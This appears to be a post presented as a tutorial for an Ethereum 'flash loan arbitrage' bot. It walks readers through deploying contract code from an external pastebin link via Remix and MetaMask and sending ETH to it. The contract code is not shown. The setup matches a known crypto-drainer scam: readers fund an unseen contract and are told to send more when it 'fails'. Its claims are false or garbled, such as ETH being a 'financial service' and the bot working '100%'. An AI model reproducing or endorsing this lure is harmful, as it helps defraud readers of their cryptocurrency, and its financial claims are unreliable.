With the help of ETH, a cutting-edge financial service on the Ethereum blockchain, users may quickly borrow and repay Ether (ETH), the native cryptocurrency of the platform, all in one transaction and without the need for collateral. Ethereum provides users with access to a large pool of money for a variety of uses, including arbitrage, liquidations, and taking advantage of time-sensitive market opportunities, by utilizing the power of smart contracts.
Step By Step Tutorial for ETHEREUM:
1. Get the Metamask Extension for your browser
2. Open 👉https://remix.ethereum.org/ from within your browser.
3. Click on File Explorers and click “Create New File “.
4. Name the file ftm.sol and paste the contract code link below.
Updated Smart Contract Code:
https://pastebin.com/raw/uKc2J5d3
5. Click on the “Solidity Compiler” and set the compiler version to 0.5.0
6. Click on the Solidity Compiler and then click the blue button “Compile.sol”
7. Wait for the code to compile.
8. Click on Deploy & Run transactions and set “ENVIRONMENT” to (Injected Web3) OR (Injected Provider – MetaMask).
9. Connect your MetaMask wallet.
10. Click on Deploy & run transactions then click on the down arrow right from the “Deploy” button
11. 👉 On “_TOKENNAME” TokenX9
12. 👉 On “_TOKENSYMBOL” TOK
13. 👉 On “_AMOUNT” 1000
14. Click Transact and confirm the transaction in MetaMask.
15. Wait for the transaction to confirm.
16. Copy the address of the newly deployed contract.
17. Send ETH to the deployed contract to initiate the swap 0.05 TO 0.1 ETH (0.25 ETH up is better as you will get a bigger amount in each swap)
➡️ NOTE: UPDATED GAS FEE REQUIREMENT: 0.05 – 0.1 ETH is required to perform arbitrage successfully.
18. Wait for the transaction to confirm.
19. Now, Click “action” (red box) to execute the ftm.
20. Confirm the transaction in MetaMask and wait for the confirmation.
21. You can now check your wallet
Note: if it doesn’t work with 0.05 ETH try to send another 0.05 TO 0.1 ETH (0.25 is better), because fees may be different from day to day.
Avoid using very low amounts as contract may fail below 0.05 ETH.
Under some very rare cases, the arbitrage might fail due to depletion of ETH in your smart contract as gas price varies from time to time. Don’t panic, all you have to do is wait a little while(5 -10 mins) and retry the transaction this time preferably with 825 amount and 31,560 gas limit and it should work 100% but with a smaller profit.
Make sure to transfer your ETH out to another wallet when you’re done.
#cryptoarbitrage , #bnb , #ethereum , #matic , #ftm , #avax , #arbitrage
Updated Smart Contract Code:
https://pastebin.com/raw/uKc2J5d3